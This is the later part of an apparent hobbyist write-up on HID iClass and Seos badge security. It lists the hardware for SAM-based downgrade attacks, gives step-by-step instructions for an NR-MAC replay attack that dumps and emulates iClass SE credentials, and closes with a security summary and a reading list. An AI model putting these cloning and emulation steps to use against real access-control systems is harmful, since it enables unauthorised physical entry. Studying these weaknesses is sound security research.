NOTE: to my understanding, this attack is only realistic for standard-keyed credentials (i.e. SE standard, Seos standard). This is because vendor hardware that can read iClass SE and Seos cards uses a secure access module (SAM), which is a secure chip that holds the keys and does the needed cryptographic operations with them. Standard-keyed SAMs are somewhat obtainable, Elite-keyed SAMs are not (unless you wanna tear a reader off the wall of your facility, break it open, and do surgery on the insides). Reading Wiegand data from an SE or Seos card simply requires using proprietary hardware that has a SAM, at least until the keys get leaked someday in the future. Without the keys, all we can do is use a SAM as a black box to go from physical card to Wiegand data. Here's a nice demo showing a downgrade from SE to Legacy, and here's another showing Seos to HID Prox (if your reader accepts Prox, you can downgrade to that too, but practically there's no point).
There's a few hardware combinations to choose from for this attack. Here's specific instructions for the first two mentioned below, as well as helpful details for how to ensure a downgrade attack would work before you try it.
- Buy an Omnikey reader 5427CK Gen2 and download Omnikey Workbench, using that setup alongside a proxmark. This is the one used in the first demo from above.
- Another option is a Flipper Zero with the Seader app on it, as well as a NARD add-on board that has a HID SAM in it (may be hard to get one nowadays?).
- A Proxmark RDV4 (the expensive, official one that has a SAM slot on it), along with a standalone HID SAM (hard to get?). Iceman implemented and demonstrated the command
hf iclass samfor downgrading iClass SE. There's also a somewhat recent change in the proxmark repo to add a similar commandhf seos samfor downgrading Seos.
I won't go over any more specifics here, since I've yapped more than enough for this section already lol
3.5 iClass SE: NR-MAC attack
Instead of cloning or downgrading a card to another physical credential, we can use a card-reader attack to dump an SE card without keys, and then emulate that dump. This is essentially halfway to cloning: we can read the data and emulate it, but we can't write it to a new card. Here's an overview of the steps involved in an NR-MAC replay attack on an iClass SE credential:
- Read the publicly accessible blocks from the card (CSN, e-purse, AIA) and populate them into a dump file, with the rest of the blocks set to anything.
- Emulate the dump file to a reader. In the trace of the reader's responses, extract the NR and the MAC, which are two cryptographic values.
- Now dump the card, but instead of providing a key to dump it with, provide the NR and the MAC (in the proxmark, it's
--nr). This should dump the card without ever telling you the key, showing you the SIO. - Take a template of an iClass SR credential dump, change the CSN to be the same as your actual SE card, and put the SIO in blocks 10-16 of this template. Now you can emulate this credential.
- You can't emulate the original iClass SE dump, since we don't have the keys for SE
- Since SR cards use the same keys as Legacy, we can emulate SR dumps even though they have an SIO
- You can't write this dump to an SR card, since the SIO is bound to the CSN of your original card and any other physical card would necessarily have a different CSN
This also works for both Standard and Elite SE cards, as long as the reader you're attacking is keyed the same as your card. This theoretically also works on iClass Legacy as well, though there would be no reason to ever do it on Legacy since we have the keys. This process is shown in some more detail here, and is weaponized on a Flipper Zero, explained here (though it's still doable on a proxmark).
In the case that the readers require cards to be SE and are configured to disallow SR cards, there is still sometimes a way to emulate the SIO. You can sometimes emulate the original SE card dump on certain readers using a bug (CVE-2024-41566) found by NVX (quick explanation, entire talk about it). This is only a bug in some readers though, so it's been fixed in newer models. In contrast, the NR-MAC attack exploits a vulnerability in the cryptographic protocol iClass uses, which can't be fixed.
3.6 other notes on iClass SE/Seos
There is actually a way to directly clone iClass SE and Seos, in theory. Down the path of buying HID hardware, the furthest you could go is to get a crazy expensive HID encoder device (see relevant reddit thread here). If you could get your hands on one of those, you'd be able to clone standard-keyed iClass SE/Seos cards, IF (big if) the bit encoding used by your organization is open and implemented on the encoder. This is the most expensive/difficult and least useful option available for card cloning, though.
Moving beyond practicality here, consider the reality where the iClass SE and Seos keys do get leaked (it's gotta happen eventually). iClass SE would be immediately readable/writable with the same hf iclass commands we're used to, since it's on PicoPass silicon as well. Seos cards speak a different language, but it is also being implemented in the proxmark with hf seos commands, despite us not knowing the keys. See this commit: "You still need keys to use this commandset, this does not have any keys and is theoretical at this stage until someone tests it with the keys." Out of the 6 possible permutations of standard/elite with Legacy, SE, and Seos, as of today we can clone 2 of them with a proxmark (just Legacy standard/elite). Down the line, I believe all standard-keyed iClass SE and Seos credentials will become clonable with just a proxmark, bringing us to 4/6.
4. conclusion
4.1 quick summary
- HID Prox isn't really iClass but I mentioned it anyway, it's easily clonable
- iClass Legacy Standard is easily clonable
- iClass Legacy Elite is usually clonable
- iClass SE Standard is downgradable, has attacks against it, and is clonable if you're one of the (currently very few) people who knows the keys
- iClass SE Elite is mostly safe, except for the rogue attacker capable of pulling a reader off the wall and doing ultra-precise hardware surgery to extract the SAM from it
- Seos Standard is in a similar spot to iClass SE standard, but a bit more secure
- Seos Elite is in a similar spot to iClass SE Elite, but a bit more secure
In a nutshell: iClass is 20-year-old insecure technology that should be upgraded if security is a concern. If you're choosing which one to use: iClass SE Elite is fine, Seos Elite is the best you're gonna get.
4.2 conclusion
This is the type of topic where every time you get a question answered, it prompts you to ask three more. Despite that, I still tried to answer every question possible with this article. I ended up including much more detail than was probably necessary, but I hope that it serves as a resource to others. I linked as many useful external resources as possible throughout this article, and my favorites are provided below in the appendix along with descriptions.
4.3 appendix: more resources
technical research papers:
- Heart of Darkness (2010) -- Milosch Meriac
- read if you like hardware hacking
- Exposing iClass Key Diversification (2011) -- Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult
- read if you're a math/cryptography nerd, or just wanna understand iClass's cryptographic inner workings
- Dismantling iClass and iClass Elite (2012) -- Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult, Milosch Meriac
- the previous paper, part 2
- Wirelessly Lockpicking a Smart Card Reader (2014) -- Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult
- I think this is just a summary of the results from the previous three papers. No novel research, so I didn't include it in the security timeline, but still a nice paper
- Spoofing iClass -- proxclone.com?
- Breaks down iClass credential types, and provides hardware design for an iClass spoofer (not super relevant now that we have the proxmark)
- Cryptanalysis of INCrypt32 in HID's iCLASS Systems (2011) -- Kim, Jung, Lee, Jung, Han
- paper gets lowkey flamed by Garcia et al. in Dismantling iClass so I didn't read it lol
- "the description of the cipher by Kim et al. is not correct"
- said their key recovery attacks are mid
- I love Garcia et al. bro
- paper gets lowkey flamed by Garcia et al. in Dismantling iClass so I didn't read it lol
- Tutorial: Proxmark, the Swiss Army Knife for RFID Security Research (2012) -- Garcia et al.
- Garcia et al. discusses proxmark usage
DEF CON talks:
- Hi-Intensity Deconstruction (2024) -- Babak Javadi, Aaron Levy, Nick Draffen, Kate Gray
- Super complex, in-depth, and well-prepared presentation from absolute pros. The actual attack for recovering keys was hard to follow imo
- slides, also they made an alternate ending
- Throwing away the keys (2024) -- NVX
- Useful overview of the security of iClass in 2024, and presents the CVE-2024-41566 reader bug ofc
- Mutual authentication is optional (2024) -- Xavier Zhang
- The talk is a brief rundown of iClass, shows off attacks against SE, nothing new is presented but it's a good intro to how things work nowadays
- slides
- and here's four more related talks, in chronological order: one two three four
misc:
- iClass channel on the RFID hacking discord
- Has lots of pros who can answer your questions. It's also worth just ctrl-F'ing for stuff they've talked about in the past lol
- Elite iClass Hacking (2014) -- Martin Holst Swende
- I think this is the original author that implemented the LOCLASS attack for practical use. It's a pretty interesting article
- useful GitHub gists and links
- an RFID hacking tools writeup
- idk looked cool
no way you made it all the way to the bottom homie what are you doing with your life